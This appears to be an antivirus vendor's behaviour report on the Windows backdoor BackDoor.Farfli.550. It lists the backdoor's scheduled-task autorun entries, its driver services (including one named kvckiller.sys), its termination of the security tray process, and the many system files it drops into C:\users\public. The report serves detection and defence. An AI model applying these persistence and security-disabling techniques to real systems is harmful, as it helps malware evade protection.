BackDoor.Farfli.550

Technical Information

To ensure autorun and distribution

Creates or modifies the following files

<SYSTEM32>\tasks\systemautoupdateguard
<SYSTEM32>\tasks\1systemautoupdateguard

Sets the following service settings

[HKLM\SYSTEM\CurrentControlSet\Services\EmbeddedDriverService] 'ImagePath' = '%TEMP%\EmbeddedDriverService.sys'
[HKLM\SYSTEM\CurrentControlSet\Services\wsftprm] 'ImagePath' = '<DRIVERS>\kvckiller.sys'

Creates the following services

'EmbeddedDriverService' %TEMP%\EmbeddedDriverService.sys
'wsftprm' <DRIVERS>\kvckiller.sys

Malicious functions

Terminates or attempts to terminate

the following system processes:

<SYSTEM32>\securityhealthsystray.exe

Modifies file system

Creates the following files

%TEMP%\py.exe
%TEMP%\embeddeddriverservice.sys
C:\users\public\cache.exe
<DRIVERS>\kvckiller.sys
%TEMP%\ifeo.hiv
C:\users\public\12520437.cpx
C:\users\public\12520850.cpx
C:\users\public\@apphelptoast.png
C:\users\public\@audiotoasticon.png
C:\users\public\@enrollmenttoasticon.png
C:\users\public\@vpntoasticon.png
C:\users\public\@wirelessdisplaytoast.png
C:\users\public\aadauthhelper.dll
C:\users\public\aadtb.dll
C:\users\public\aadwamextension.dll
C:\users\public\aarsvc.dll
C:\users\public\abovelockapphost.dll
%TEMP%\ifeo.hiv.log1
C:\users\public\accessibilitycpl.dll
C:\users\public\accountaccessor.dll
C:\users\public\accountsrt.dll
C:\users\public\acgenral.dll
C:\users\public\aclayers.dll
C:\users\public\acledit.dll
C:\users\public\aclui.dll
C:\users\public\acppage.dll
C:\users\public\acspecfc.dll
C:\users\public\actioncenter.dll
C:\users\public\actioncentercpl.dll
C:\users\public\activationclient.dll
C:\users\public\activationmanager.dll
C:\users\public\activeds.dll
C:\users\public\activeds.tlb
C:\users\public\activesyncprovider.dll
C:\users\public\actxprxy.dll
C:\users\public\acwinrt.dll
C:\users\public\acwow64.dll
C:\users\public\acxtrnal.dll
C:\users\public\adaptivecards.dll
C:\users\public\addressparser.dll
C:\users\public\admtmpl.dll
C:\users\public\adprovider.dll
C:\users\public\adrclient.dll
C:\users\public\adsldp.dll
C:\users\public\adsldpc.dll
C:\users\public\adsmsext.dll
C:\users\public\adsnt.dll
C:\users\public\adtschema.dll
C:\users\public\advancedinstallers\cmiv2.dll
C:\users\public\advapi32.dll
C:\users\public\advapi32res.dll
C:\users\public\advpack.dll
C:\users\public\aeevts.dll
C:\users\public\aepic.dll
C:\users\public\agentactivationruntime.dll
C:\users\public\agentactivationruntimestarter.exe
C:\users\public\agentactivationruntimewindows.dll
C:\users\public\altspace.dll
C:\users\public\amcompat.tlb
C:\users\public\amsi.dll
C:\users\public\amstream.dll
C:\users\public\analogcommonproxystub.dll
C:\users\public\apds.dll
C:\users\public\aphostclient.dll
C:\users\public\apisethost.appexecutionalias.dll
C:\users\public\appcontracts.dll
C:\users\public\appextension.dll
C:\users\public\apphelp.dll
C:\users\public\apphlpdm.dll
C:\users\public\appidapi.dll
C:\users\public\appidpolicyengineapi.dll
C:\users\public\appidtel.exe
C:\users\public\appinstallerprompt.desktop.dll
C:\users\public\applockercsp.dll
C:\users\public\appmanagementconfiguration.dll
C:\users\public\appmgmts.dll
C:\users\public\appmgr.dll
C:\users\public\appointmentactivation.dll
C:\users\public\appointmentapis.dll
C:\users\public\apprepapi.dll
C:\users\public\appresolver.dll
C:\users\public\appvclientps.dll
C:\users\public\appventsubsystems32.dll
C:\users\public\appvsentinel.dll
C:\users\public\appvterminator.dll
C:\users\public\appwiz.cpl
C:\users\public\appxalluserstore.dll
C:\users\public\appxapplicabilityengine.dll
C:\users\public\appxdeploymentclient.dll
C:\users\public\appxpackaging.dll
C:\users\public\appxprovisioning.xml
C:\users\public\appxsip.dll
C:\users\public\ar-sa\cdosys.dll.mui
C:\users\public\ar-sa\comctl32.dll.mui
C:\users\public\ar-sa\quickassist.exe.mui
C:\users\public\ar-sa\syncres.dll.mui
C:\users\public\ar-sa\windows.ui.xaml.dll.mui
C:\users\public\archiveint.dll
C:\users\public\arp.exe
C:\users\public\asferror.dll
C:\users\public\aspnet_counters.dll
C:\users\public\assignedaccessruntime.dll
C:\users\public\asycfilt.dll
C:\users\public\at.exe
C:\users\public\atbroker.exe
C:\users\public\atl.dll
C:\users\public\atl100.dll
C:\users\public\atl110.dll
C:\users\public\atlthunk.dll
C:\users\public\atmlib.dll
C:\users\public\attrib.exe
C:\users\public\audiodev.dll
C:\users\public\audioeng.dll
C:\users\public\audiokse.dll
C:\users\public\audioses.dll
C:\users\public\auditnativesnapin.dll
C:\users\public\auditpol.exe
C:\users\public\auditpolcore.dll
C:\users\public\auditpolicygpinterop.dll
C:\users\public\auditpolmsg.dll
C:\users\public\authbroker.dll
C:\users\public\authbrokerui.dll
C:\users\public\authext.dll
C:\users\public\authfwcfg.dll
C:\users\public\authfwgp.dll
C:\users\public\authfwsnapin.dll
C:\users\public\authfwwizfwk.dll
C:\users\public\authui.dll
C:\users\public\authz.dll
C:\users\public\autochk.exe
C:\users\public\autoconv.exe
C:\users\public\autofmt.exe
C:\users\public\autoplay.dll
C:\users\public\avicap32.dll
C:\users\public\avifil32.dll
C:\users\public\avrt.dll
C:\users\public\azman.msc
C:\users\public\azroles.dll
C:\users\public\azroleui.dll
C:\users\public\azsqlext.dll
C:\users\public\azuresettingsyncprovider.dll
C:\users\public\backgroundmediapolicy.dll
C:\users\public\backgroundtaskhost.exe
C:\users\public\backgroundtransferhost.exe
C:\users\public\bamsettingsclient.dll
C:\users\public\basecsp.dll
C:\users\public\batmeter.dll
C:\users\public\bcastdvr.proxy.dll
C:\users\public\bcastdvrbroker.dll
C:\users\public\bcastdvrclient.dll
C:\users\public\bcastdvrcommon.dll
C:\users\public\bcd.dll
C:\users\public\bcp47langs.dll
C:\users\public\bcp47mrm.dll
C:\users\public\bcrypt.dll
C:\users\public\bcryptprimitives.dll
C:\users\public\bdaplgin.ax
C:\users\public\bg-bg\comctl32.dll.mui
C:\users\public\bg-bg\quickassist.exe.mui
C:\users\public\bg-bg\syncres.dll.mui
C:\users\public\bg-bg\windows.ui.xaml.dll.mui
C:\users\public\bidispl.dll
C:\users\public\bingmaps.dll
C:\users\public\bingonlineservices.dll
C:\users\public\biocredprov.dll
C:\users\public\bitlockercsp.dll
C:\users\public\bitsadmin.exe
C:\users\public\bitsperf.dll
C:\users\public\bitsproxy.dll
C:\users\public\biwinrt.dll
C:\users\public\bluetoothapis.dll
C:\users\public\boot.sdi
C:\users\public\bootcfg.exe
C:\users\public\bootvid.dll
C:\users\public\bopomofo.uce
C:\users\public\browcli.dll
C:\users\public\browsersettingsync.dll
C:\users\public\browseui.dll
C:\users\public\btagservice.dll
C:\users\public\bthprops\@bthpropsnotificationlogo.png
C:\users\public\bthprops.cpl
C:\users\public\bthtelemetry.dll
C:\users\public\bthudtask.exe
C:\users\public\btpanui.dll
C:\users\public\bwcontexthandler.dll
C:\users\public\bytecodegenerator.exe
C:\users\public\cabapi.dll
C:\users\public\cabinet.dll
C:\users\public\cabview.dll
C:\users\public\cacls.exe
C:\users\public\calc.exe
C:\users\public\callbuttons.dll
C:\users\public\callbuttons.proxystub.dll
C:\users\public\callhistoryclient.dll
C:\users\public\cameracaptureui.dll
C:\users\public\camerasettingsuihost.exe
C:\users\public\capabilityaccessmanagerclient.dll
C:\users\public\capauthz.dll
C:\users\public\capiprovider.dll
C:\users\public\capisp.dll
C:\users\public\castingshellext.dll
C:\users\public\catsrv.dll
C:\users\public\catsrvps.dll
C:\users\public\catsrvut.dll
C:\users\public\cca.dll
C:\users\public\cdosys.dll
C:\users\public\cdp.dll
C:\users\public\cdprt.dll
C:\users\public\cemapi.dll
C:\users\public\cero.rs
C:\users\public\certca.dll
C:\users\public\certcli.dll
C:\users\public\certcredprovider.dll
C:\users\public\certenc.dll
C:\users\public\certenroll.dll
C:\users\public\certenrollctrl.exe
C:\users\public\certenrollui.dll
C:\users\public\certlm.msc
C:\users\public\certmgr.dll
C:\users\public\certmgr.msc
C:\users\public\certpkicmdlet.dll
C:\users\public\certpoleng.dll
C:\users\public\certreq.exe
C:\users\public\certutil.exe
C:\users\public\cewmdm.dll
C:\users\public\cfgbkend.dll
C:\users\public\cfgmgr32.dll
C:\dmrootca.zip
C:\users\public\cfmifs.dll
C:\users\public\cfmifsproxy.dll
C:\users\public\chakra.dll
C:\users\public\chakradiag.dll
C:\users\public\chakrathunk.dll
C:\users\public\charmap.exe
C:\users\public\chartv.dll
C:\users\public\chatapis.dll
C:\users\public\chcp.com
C:\users\public\checknetisolation.exe
C:\users\public\chkdsk.exe
C:\users\public\chkntfs.exe
C:\users\public\choice.exe
C:\users\public\chs_singlechar_pinyin.dat
C:\users\public\chxreadingstringime.dll
C:\users\public\cic.dll
C:\users\public\cipher.exe
C:\users\public\ciwmi.dll
C:\users\public\clb.dll
C:\users\public\clbcatq.dll
C:\users\public\cldapi.dll
C:\users\public\cleanmgr.exe
C:\users\public\clfsw32.dll
C:\users\public\cliconfg.dll
C:\users\public\cliconfg.exe
C:\users\public\cliconfg.rll
C:\users\public\clip.exe
C:\users\public\clipboardserver.dll
C:\users\public\clipc.dll
C:\users\public\cloudexperiencehostcommon.dll
C:\users\public\cloudexperiencehostuser.dll
C:\users\public\cloudnotifications.exe
C:\users\public\clrhost.dll
C:\users\public\clusapi.dll
C:\users\public\cmcfg32.dll
C:\users\public\cmd.exe
C:\users\public\cmdext.dll
C:\users\public\cmdial32.dll
C:\users\public\cmdkey.exe
C:\users\public\cmdl32.exe
C:\users\public\cmgrcspps.dll
C:\users\public\cmifw.dll
C:\users\public\cmintegrator.dll
C:\users\public\cmlua.dll
C:\users\public\cmmon32.exe
C:\users\public\cmpbk32.dll
C:\users\public\cmstp.exe
C:\users\public\cmstplua.dll
C:\users\public\cmutil.dll
C:\users\public\cngcredui.dll
C:\users\public\cngprovider.dll
C:\users\public\cnvfat.dll
C:\users\public\cob-au.rs
C:\users\public\colbact.dll
C:\users\public\coloradapterclient.dll
C:\users\public\colorcnv.dll
C:\users\public\colorcpl.exe
C:\users\public\colorui.dll
C:\users\public\com\comadmin.dll
C:\users\public\com\comempty.dat
C:\users\public\com\comrepl.exe
C:\users\public\com\en-us\comrepl.exe.mui
C:\users\public\com\en-us\migregdb.exe.mui
C:\users\public\com\migregdb.exe
C:\users\public\com\mtsadmin.tlb
C:\users\public\combase.dll
C:\users\public\comcat.dll
C:\users\public\comctl32.dll
C:\users\public\comdlg32.dll
C:\users\public\comexp.msc
C:\users\public\coml2.dll
C:\users\public\comp.exe
C:\users\public\compact.exe
C:\users\public\compmgmt.msc
C:\users\public\compobj.dll
C:\users\public\composableshellproxystub.dll
C:\users\public\comppkgsup.dll
C:\users\public\compstui.dll
C:\users\public\computerdefaults.exe
C:\users\public\comrepl.dll
C:\users\public\comres.dll
C:\users\public\comsnap.dll
C:\users\public\comsvcs.dll
C:\users\public\comuid.dll
C:\users\public\concrt140.dll
C:\users\public\concrt140d.dll
C:\users\public\config\systemprofile\appdata\local\microsoft\clr_v4.0_32\usagelogs\ngentask.exe.log
C:\users\public\configuration\baseregistration\baseresource.schema.mof
C:\users\public\configuration\baseregistration\en-us\baseresource.schema.mfl
C:\users\public\configuration\baseregistration\en-us\msft_dscmetaconfiguration.mfl
C:\users\public\configuration\baseregistration\en-us\msft_metaconfigurationextensionclasses.schema.mfl
C:\users\public\configuration\baseregistration\msft_dscmetaconfiguration.mof
C:\users\public\configuration\baseregistration\msft_metaconfigurationextensionclasses.schema.mof
C:\users\public\configuration\registration\msft_filedirectoryconfiguration\en-us\msft_filedirectoryconfiguration.registration.mfl
C:\users\public\configuration\registration\msft_filedirectoryconfiguration\msft_filedirectoryconfiguration.registration.mof
C:\users\public\configuration\schema\msft_filedirectoryconfiguration\en-us\msft_filedirectoryconfiguration.schema.mfl
C:\users\public\configuration\schema\msft_filedirectoryconfiguration\msft_filedirectoryconfiguration.schema.mof
C:\users\public\configureexpandedstorage.dll
C:\users\public\connect.dll
C:\users\public\connectedaccountstate.dll
C:\users\public\console.dll
C:\users\public\consolelogon.dll
C:\users\public\contactactivation.dll
C:\users\public\contactapis.dll
C:\users\public\container.dll
C:\users\public\contentdeliverymanager.utilities.dll
C:\users\public\control.exe
C:\users\public\convert.exe
C:\users\public\coreglobconfig.dll
C:\users\public\coremas.dll
C:\users\public\coremessaging.dll
C:\users\public\coremmres.dll
C:\users\public\coreshellapi.dll
C:\users\public\coreuicomponents.dll
C:\users\public\cpfilters.dll
C:\users\public\credentialuibroker.exe
C:\users\public\credprov2fahelper.dll
C:\users\public\credprovdatamodel.dll
C:\users\public\credprovhelper.dll
C:\users\public\credprovhost.dll
C:\users\public\credprovs.dll
C:\users\public\credprovslegacy.dll
C:\users\public\credssp.dll
C:\users\public\credui.dll
C:\users\public\credwiz.exe
C:\users\public\crtdll.dll
C:\users\public\crypt32.dll
C:\users\public\cryptbase.dll
C:\users\public\cryptdlg.dll
C:\users\public\cryptdll.dll
C:\users\public\cryptext.dll
C:\users\public\cryptnet.dll
C:\users\public\cryptngc.dll
C:\users\public\cryptowinrt.dll
C:\users\public\cryptsp.dll
C:\users\public\crypttpmeksvc.dll
C:\users\public\cryptui.dll
C:\users\public\cryptuiwizard.dll
C:\users\public\cryptxml.dll
C:\users\public\cs-cz\aphostres.dll.mui
C:\users\public\cs-cz\cdosys.dll.mui
C:\users\public\cs-cz\comctl32.dll.mui
C:\users\public\cs-cz\quickassist.exe.mui
C:\users\public\cs-cz\syncres.dll.mui
C:\users\public\cs-cz\windows.ui.xaml.dll.mui
C:\users\public\cscapi.dll
C:\users\public\cscdll.dll
C:\users\public\cscobj.dll
C:\users\public\cscript.exe
C:\users\public\csrr.rs
C:\users\public\ctfmon.exe
C:\users\public\ctl3d32.dll
C:\users\public\cttune.exe
C:\users\public\cttunesvr.exe
C:\users\public\curl.exe
C:\users\public\c_g18030.dll
C:\users\public\c_gsm7.dll
C:\users\public\c_is2022.dll
C:\users\public\c_iscii.dll
C:\users\public\d2d1.dll
C:\users\public\d3d10.dll
C:\users\public\d3d10core.dll
C:\users\public\d3d10level9.dll
C:\users\public\d3d10warp.dll
C:\users\public\d3d10_1.dll
C:\users\public\d3d10_1core.dll
C:\users\public\d3d11.dll
C:\users\public\d3d11on12.dll
C:\users\public\d3d12.dll
C:\users\public\d3d12core.dll
C:\users\public\d3d8.dll
C:\users\public\d3d8thk.dll
C:\users\public\d3d9.dll
C:\users\public\d3d9on12.dll
C:\users\public\d3dcompiler_47.dll
C:\users\public\d3dim.dll
C:\users\public\d3dim700.dll
C:\users\public\d3dramp.dll
C:\users\public\d3dscache.dll
C:\users\public\d3dxof.dll
C:\users\public\da-dk\aphostres.dll.mui
C:\users\public\da-dk\cdosys.dll.mui
C:\users\public\da-dk\comctl32.dll.mui
C:\users\public\da-dk\quickassist.exe.mui
C:\users\public\da-dk\syncres.dll.mui
C:\users\public\da-dk\windows.ui.xaml.dll.mui
C:\users\public\dabapi.dll
C:\users\public\dafprintprovider.dll
C:\users\public\daotpcredentialprovider.dll
C:\users\public\dataclen.dll
C:\users\public\dataexchange.dll
C:\users\public\davclnt.dll
C:\users\public\davhlpr.dll
C:\users\public\davsyncprovider.dll
C:\users\public\daxexec.dll
C:\users\public\dbgcore.dll
C:\users\public\dbgeng.dll
C:\users\public\dbghelp.dll
C:\users\public\dbgmodel.dll
C:\users\public\dbnetlib.dll
C:\users\public\dbnmpntw.dll
C:\users\public\dccw.exe
C:\users\public\dciman32.dll
C:\users\public\dcomcnfg.exe
C:\users\public\dcomp.dll
C:\users\public\ddaclsys.dll
C:\users\public\ddisplay.dll
C:\users\public\ddodiag.exe
C:\users\public\ddoiproxy.dll
C:\users\public\ddores.dll
C:\users\public\ddraw.dll
C:\users\public\ddrawex.dll
C:\users\public\de-de\aphostres.dll.mui
C:\users\public\de-de\cdosys.dll.mui
C:\users\public\de-de\comctl32.dll.mui
C:\users\public\de-de\quickassist.exe.mui
C:\users\public\de-de\syncres.dll.mui
C:\users\public\de-de\windows.ui.xaml.dll.mui
C:\users\public\defaultaccounttile.png
C:\users\public\defaultdevicemanager.dll
C:\users\public\defaultprinterprovider.dll
C:\users\public\delegatorprovider.dll
C:\users\public\desk.cpl
C:\users\public\desktopshellappstatecontract.dll
C:\users\public\devdispitemprovider.dll
C:\users\public\devenum.dll
C:\users\public\deviceaccess.dll
C:\users\public\deviceassociation.dll
C:\users\public\devicecenter.dll
C:\users\public\devicecredential.dll
C:\users\public\devicedisplaystatusmanager.dll
C:\users\public\deviceflows.datamodel.dll
C:\users\public\devicengccredprov.dll
C:\users\public\devicepairing.dll
C:\users\public\devicepairingfolder.dll
C:\users\public\devicepairingproxy.dll
C:\users\public\devicepairingwizard.exe
C:\users\public\devicereactivation.dll
C:\users\public\devicesetupstatusprovider.dll
C:\users\public\deviceuxres.dll
C:\users\public\devmgmt.msc
C:\users\public\devmgr.dll
C:\users\public\devobj.dll
C:\users\public\devrtl.dll
C:\users\public\dfrgui.exe
C:\users\public\dfscli.dll
C:\users\public\dfshim.dll
C:\users\public\dfsshlex.dll
C:\users\public\dhcpcmonitor.dll
C:\users\public\dhcpcore.dll
C:\users\public\dhcpcore6.dll
C:\users\public\dhcpcsvc.dll
C:\users\public\dhcpcsvc6.dll
C:\users\public\dhcpsapi.dll
C:\users\public\diagnosticdataquery.dll
C:\users\public\diagnosticinvoker.dll
C:\users\public\diagsvcs\diagnosticshub.standardcollector.proxy.dll
C:\users\public\diagsvcs\kerneltracecontrol.dll
C:\users\public\dialclient.dll
C:\users\public\dialer.exe
C:\users\public\dialogblockerproc.dll
C:\users\public\dictationmanager.dll
C:\users\public\difxapi.dll
C:\users\public\dimsjob.dll
C:\users\public\dimsroam.dll
C:\users\public\dinput.dll
C:\users\public\dinput8.dll
C:\users\public\direct2ddesktop.dll
C:\users\public\directmanipulation.dll
C:\users\public\directml.dll
C:\users\public\diskmgmt.msc
C:\users\public\diskpart.exe
C:\users\public\diskperf.exe
C:\users\public\dism\appxprovider.dll
C:\users\public\dism\assocprovider.dll
C:\users\public\dism\cbsprovider.dll
C:\users\public\dism\dismcore.dll
C:\users\public\dism\dismcoreps.dll
C:\users\public\dism\dismhost.exe
C:\users\public\dism\dismprov.dll
C:\users\public\dism\dmiprovider.dll
C:\users\public\dism\en-us\appxprovider.dll.mui
C:\users\public\dism\en-us\assocprovider.dll.mui
C:\users\public\dism\en-us\cbsprovider.dll.mui
C:\users\public\dism\en-us\dismcore.dll.mui
C:\users\public\dism\en-us\dismprov.dll.mui
C:\users\public\dism\en-us\dmiprovider.dll.mui
C:\users\public\dism\en-us\ffuprovider.dll.mui
C:\users\public\dism\en-us\folderprovider.dll.mui
C:\users\public\dism\en-us\genericprovider.dll.mui
C:\users\public\dism\en-us\ibsprovider.dll.mui
C:\users\public\dism\en-us\imagingprovider.dll.mui
C:\users\public\dism\en-us\intlprovider.dll.mui
C:\users\public\dism\en-us\logprovider.dll.mui
C:\users\public\dism\en-us\msiprovider.dll.mui
C:\users\public\dism\en-us\offlinesetupprovider.dll.mui
C:\users\public\dism\en-us\osprovider.dll.mui
C:\users\public\dism\en-us\provprovider.dll.mui
C:\users\public\dism\en-us\setupplatformprovider.dll.mui
C:\users\public\dism\en-us\smiprovider.dll.mui
C:\users\public\dism\en-us\sysprepprovider.dll.mui
C:\users\public\dism\en-us\transmogprovider.dll.mui
C:\users\public\dism\en-us\unattendprovider.dll.mui
C:\users\public\dism\en-us\vhdprovider.dll.mui
C:\users\public\dism\en-us\wimprovider.dll.mui
C:\users\public\dism\ffuprovider.dll
C:\users\public\dism\folderprovider.dll
C:\users\public\dism\genericprovider.dll
C:\users\public\dism\ibsprovider.dll
C:\users\public\dism\imagingprovider.dll
C:\users\public\dism\intlprovider.dll
C:\users\public\dism\logprovider.dll
C:\users\public\dism\msiprovider.dll
C:\users\public\dism\offlinesetupprovider.dll
C:\users\public\dism\osprovider.dll
C:\users\public\dism\provprovider.dll
C:\users\public\dism\setupplatformprovider.dll
C:\users\public\dism\smiprovider.dll
C:\users\public\dism\sysprepprovider.dll
C:\users\public\dism\transmogprovider.dll
C:\users\public\dism\unattendprovider.dll
C:\users\public\dism\vhdprovider.dll
C:\users\public\dism\wimprovider.dll
C:\users\public\dism.exe
C:\users\public\dismapi.dll
C:\users\public\dispbroker.dll
C:\users\public\dispex.dll
C:\users\public\display.dll
C:\users\public\displaymanager.dll
C:\users\public\djctq.rs
C:\users\public\dllhost.exe
C:\users\public\dllhst3g.exe
C:\users\public\dlnashext.dll
C:\users\public\dmalertlistener.proxystub.dll
C:\users\public\dmappsres.dll
C:\users\public\dmband.dll
C:\users\public\dmcfgutils.dll
C:\users\public\dmcmnutils.dll
C:\users\public\dmcommandlineutils.dll
C:\users\public\dmcompos.dll
C:\users\public\dmdlgs.dll
C:\users\public\dmdskmgr.dll
C:\users\public\dmdskres.dll
C:\users\public\dmdskres2.dll
C:\users\public\dmenrollengine.dll
C:\users\public\dmime.dll
C:\users\public\dmintf.dll
C:\users\public\dmiso8601utils.dll
C:\users\public\dmloader.dll
C:\users\public\dmocx.dll
C:\users\public\dmoleaututils.dll
C:\users\public\dmprocessxmlfiltered.dll
C:\users\public\dmpushproxy.dll
C:\users\public\dmrcdecoder.dll
C:\users\public\dmscript.dll
C:\users\public\dmstyle.dll
C:\users\public\dmsynth.dll
C:\users\public\dmusic.dll
C:\users\public\dmutil.dll
C:\users\public\dmvdsitf.dll
C:\users\public\dmview.ocx
C:\users\public\dmxmlhelputils.dll
C:\users\public\dnsapi.dll
C:\users\public\dnscmmc.dll
C:\users\public\docprop.dll
C:\users\public\dolbydecmft.dll
C:\users\public\doskey.exe
C:\users\public\dot3api.dll
C:\users\public\dot3cfg.dll
C:\users\public\dot3dlg.dll
C:\users\public\dot3gpclnt.dll
C:\users\public\dot3gpui.dll
C:\users\public\dot3hc.dll
C:\users\public\dot3msm.dll
C:\users\public\dot3ui.dll
C:\users\public\downlevel\api-ms-win-base-util-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-com-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-comm-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-console-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-datetime-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-datetime-l1-1-1.dll
C:\users\public\downlevel\api-ms-win-core-debug-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-debug-l1-1-1.dll
C:\users\public\downlevel\api-ms-win-core-delayload-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-errorhandling-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-errorhandling-l1-1-1.dll
C:\users\public\downlevel\api-ms-win-core-fibers-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-fibers-l1-1-1.dll
C:\users\public\downlevel\api-ms-win-core-file-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-file-l1-2-0.dll
C:\users\public\downlevel\api-ms-win-core-file-l1-2-1.dll
C:\users\public\downlevel\api-ms-win-core-file-l2-1-0.dll
C:\users\public\downlevel\api-ms-win-core-file-l2-1-1.dll
C:\users\public\downlevel\api-ms-win-core-handle-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-heap-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-heap-obsolete-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-interlocked-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-io-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-io-l1-1-1.dll
C:\users\public\downlevel\api-ms-win-core-kernel32-legacy-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-kernel32-legacy-l1-1-1.dll
C:\users\public\downlevel\api-ms-win-core-kernel32-private-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-kernel32-private-l1-1-1.dll
C:\users\public\downlevel\api-ms-win-core-libraryloader-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-libraryloader-l1-1-1.dll
C:\users\public\downlevel\api-ms-win-core-localization-l1-2-0.dll
C:\users\public\downlevel\api-ms-win-core-localization-l1-2-1.dll
C:\users\public\downlevel\api-ms-win-core-localization-obsolete-l1-2-0.dll
C:\users\public\downlevel\api-ms-win-core-memory-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-memory-l1-1-1.dll
C:\users\public\downlevel\api-ms-win-core-memory-l1-1-2.dll
C:\users\public\downlevel\api-ms-win-core-namedpipe-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-privateprofile-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-privateprofile-l1-1-1.dll
C:\users\public\downlevel\api-ms-win-core-processenvironment-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-processenvironment-l1-2-0.dll
C:\users\public\downlevel\api-ms-win-core-processthreads-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-processthreads-l1-1-1.dll
C:\users\public\downlevel\api-ms-win-core-processthreads-l1-1-2.dll
C:\users\public\downlevel\api-ms-win-core-processtopology-obsolete-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-profile-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-realtime-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-registry-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-registry-l2-1-0.dll
C:\users\public\downlevel\api-ms-win-core-rtlsupport-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-shlwapi-legacy-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-shlwapi-obsolete-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-shutdown-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-string-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-string-l2-1-0.dll
C:\users\public\downlevel\api-ms-win-core-string-obsolete-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-stringansi-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-stringloader-l1-1-1.dll
C:\users\public\downlevel\api-ms-win-core-synch-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-synch-l1-2-0.dll
C:\users\public\downlevel\api-ms-win-core-sysinfo-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-sysinfo-l1-2-0.dll
C:\users\public\downlevel\api-ms-win-core-sysinfo-l1-2-1.dll
C:\users\public\downlevel\api-ms-win-core-threadpool-l1-2-0.dll
C:\users\public\downlevel\api-ms-win-core-threadpool-legacy-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-threadpool-private-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-timezone-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-url-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-util-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-version-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-wow64-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-xstate-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-core-xstate-l2-1-0.dll
C:\users\public\downlevel\api-ms-win-crt-conio-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-crt-convert-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-crt-environment-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-crt-filesystem-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-crt-heap-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-crt-locale-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-crt-math-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-crt-multibyte-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-crt-private-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-crt-process-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-crt-runtime-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-crt-stdio-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-crt-string-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-crt-time-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-crt-utility-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-devices-config-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-devices-config-l1-1-1.dll
C:\users\public\downlevel\api-ms-win-eventing-classicprovider-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-eventing-consumer-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-eventing-controller-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-eventing-legacy-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-eventing-provider-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-eventlog-legacy-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-security-base-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-security-cryptoapi-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-security-lsalookup-l2-1-0.dll
C:\users\public\downlevel\api-ms-win-security-lsalookup-l2-1-1.dll
C:\users\public\downlevel\api-ms-win-security-lsapolicy-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-security-provider-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-security-sddl-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-service-core-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-service-core-l1-1-1.dll
C:\users\public\downlevel\api-ms-win-service-management-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-service-management-l2-1-0.dll
C:\users\public\downlevel\api-ms-win-service-private-l1-1-0.dll
C:\users\public\downlevel\api-ms-win-service-private-l1-1-1.dll
C:\users\public\downlevel\api-ms-win-service-winsvc-l1-1-0.dll
